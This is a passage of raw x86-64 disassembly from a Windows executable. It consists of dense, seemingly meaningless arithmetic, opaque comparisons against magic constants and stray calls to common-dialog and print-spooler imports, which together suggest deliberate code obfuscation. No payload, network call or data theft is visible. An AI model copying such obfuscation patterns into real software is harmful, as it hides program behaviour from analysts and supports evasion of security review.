movzx edx, word [0x1401cc018]
add ecx, edx
cmp eax, ecx
je 0x14000af6f
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x8d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401cd710], eax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
lea rcx, [rsp + 0x27200]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x4dbc], eax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rax]
call fcn.1401b3460
nop
movsx eax, word [rsp + 0x14dc]
mov dword [rsp + 0x4ddc], eax
cmp dword [rsp + 0x4ddc], 0x2a1f
je 0x14000afd5
jmp 0x14000b0a7
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [0x1401cc018]
or eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [rsp + 0x14c4]
shl eax, cl
movsx ecx, word [rsp + 0x14c8]
mov dword [rsp + 0x4de0], ecx
mov rdx, qword [rsp + 0x8d30]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4de0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14000b086
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov rcx, qword [rsp + 0x8e18]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x4dbc], eax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ce], al
jmp 0x14000b0a5
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4da0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
jmp 0x14000b0f4
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8be8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov qword [rsp + 0x8e20], rax
cmp dword [rsp + 0x4d7c], 0xf62b
ja 0x14000b5aa
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1de]
sub eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14dc], ax
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movzx eax, word [0x1401cc018]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x8e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4d00], eax
mov eax, dword [rsp + 0x4dc4]
movzx ecx, al
mov eax, dword [rsp + 0x4d54]
shl eax, cl
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8c08], rax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc008], al
mov eax, dword [rsp + 0x4d7c]
add eax, 0x16
mov dword [rsp + 0x4d7c], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4840]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401cd714], ax
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14d4]
or eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
sar eax, cl
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1df], al
movzx eax, word [0x1401cc018]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
and ecx, eax
mov eax, ecx
mov dword [0x1401cc01c], eax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1de]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dd], al
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [0x1401cc008]
add eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [rsp + 0x1dc], al
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [0x1401cc018]
sar eax, cl
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d40]
mov qword [rsp + 0x8e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e30]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dc4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x4d00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc008]
add eax, ecx
mov byte [rsp + 0x1ce], al
jmp 0x14000b0f4
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8bf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8ca0]
mov rdx, qword [rsp + 0x8e00]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x1401b24a1
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4840]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14000b65a
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov word [rsp + 0x121c], ax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
mov word [rsp + 0x14e0], ax
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x14d0]
and ecx, edx
cmp eax, ecx
jge 0x14000b7e3
mov rax, qword [rsp + 0x8df8]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x8d08]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x14000b724
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov qword [rsp + 0x8e38], rax
movabs rax, 0x5042e598609d57a5
cmp qword [rsp + 0x8e38], rax
je 0x14000b6f8
movabs rax, 0x5f9faa0f63ffe45b
cmp qword [rsp + 0x8e38], rax
je 0x14000b717
jmp 0x14000b724
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [rsp + 0x14c8]
or eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
jmp 0x14000b724
mov ecx, dword [rsp + 0x4d54]
call fcn.1401b3460
nop
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
mov dword [rsp + 0x4de4], eax
cmp dword [rsp + 0x4de4], 0xfffff2f0
je 0x14000b755
cmp dword [rsp + 0x4de4], 0x7d90
je 0x14000b7ce
jmp 0x14000b7e3
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
shl eax, cl
mov byte [rsp + 0x1df], al
mov eax, dword [rsp + 0x4da0]
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8d10]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8e20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov dword [rsp + 0x4dec], 0xa8a4
jmp 0x14000b7e3
lea rcx, [rsp + 0x26c30]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x4df0], eax
cmp dword [rsp + 0x4d08], 0xd567
jbe 0x14000bdc8
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401cd714], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov byte [rsp + 0x1df], al
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4da0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c60]
mov qword [rsp + 0x8e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e40]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14d0]
or eax, ecx
mov word [rsp + 0x14dc], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1de]
sar eax, cl
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4da0]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov eax, dword [rsp + 0x4d08]
sub eax, 0x91
mov dword [rsp + 0x4d08], eax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x121c], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d00]
movzx ecx, al
mov eax, dword [rsp + 0x4da0]
sar eax, cl
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dd8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c98]
movzx ecx, al
mov rax, qword [rsp + 0x8e20]
shl rax, cl
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x180]
and eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
and eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov eax, dword [rsp + 0x4dc4]
mov ecx, dword [rsp + 0x4840]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8e00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ca0], rax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1e0]
sub eax, ecx
mov byte [0x1401cc008], al
movsx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d8]
shl eax, cl
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
xor eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8df8]
mov ecx, dword [rsp + 0x4dc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
and eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x1db], al
jmp 0x14000b7e3
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8e20]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14000be89
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov qword [rsp + 0x8e48], rax
movabs rax, 0x2801dac2725196c6
cmp qword [rsp + 0x8e48], rax
je 0x14000be29
jmp 0x14000be66
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8d50]
movzx edx, word [rax]
mov rax, qword [rsp + 0x8d50]
movzx ecx, word [rax]
call fcn.1401b3400
nop
jmp 0x14000be89
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1de]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8d00]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jg 0x14000c0d9
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov word [rsp + 0x14e4], ax
movzx eax, byte [rsp + 0x1de]
mov byte [rsp + 0x4df4], al
cmp byte [rsp + 0x4df4], 0x59
je 0x14000beef
jmp 0x14000bfb1
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [rsp + 0x14c4]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x8d30]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14000bf9b
mov eax, dword [rsp + 0x4da0]
mov dword [rsp + 0x4df8], eax
cmp dword [rsp + 0x4df8], 0x417d1821
je 0x14000bf3a
jmp 0x14000bf71
mov eax, dword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x4de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bf0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x8bf0]
movzx ecx, word [rax]
call fcn.1401b3400
nop
jmp 0x14000bf99
lea r9, [rsp + 0x8c80]
mov r8d, 0xa5
mov edx, 0xec
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x8d88], rax
jmp 0x14000bfac
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov dword [rsp + 0x4dd8], eax
jmp 0x14000c0d7
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x8e50], rax
cmp qword [rsp + 0x8e50], 0
je 0x14000bfe9
movabs rax, 0x3d2361247455e32d
cmp qword [rsp + 0x8e50], rax
je 0x14000c0be
jmp 0x14000c0d7
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
lea rax, [rsp + 0x8e00]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
add eax, ecx
movsx ecx, byte [rsp + 0x1de]
movsx edx, byte [rsp + 0x1df]
add ecx, edx
cmp eax, ecx
jg 0x14000c0a0
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x8e60], rax
movabs rax, 0x35c9bc3a334affe9
cmp qword [rsp + 0x8e60], rax
je 0x14000c06e
jmp 0x14000c0a0
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movzx edx, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14e4]
call fcn.1401b3400
nop
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1de], al
jmp 0x14000c0d7
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x1e0]
shl eax, cl
mov byte [rsp + 0x180], al
jmp 0x14000c153
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e0]
shl eax, cl
movzx ecx, byte [rsp + 0x1ce]
mov rdx, qword [rsp + 0x8d78]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jge 0x14000c153
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
lea rcx, [rsp + 0x26dc0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x8ce8], rax
movzx edx, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x14e4]
call fcn.1401b3400
nop
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d18]
mov ecx, dword [rsp + 0x4da0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8e20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4840]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8e58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d10]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc008], al
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d8]
add eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
and eax, ecx
mov byte [rsp + 0x1e0], al
movsx eax, byte [rsp + 0x1df]
movsx ecx, byte [rsp + 0x1de]
sub eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x121c]
or eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d2c]
add eax, 0x67
mov dword [rsp + 0x4d2c], eax
mov eax, dword [rsp + 0x4d00]
movzx ecx, al
mov eax, dword [rsp + 0x4de8]
sar eax, cl
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4840]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dc4], eax
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8be8]
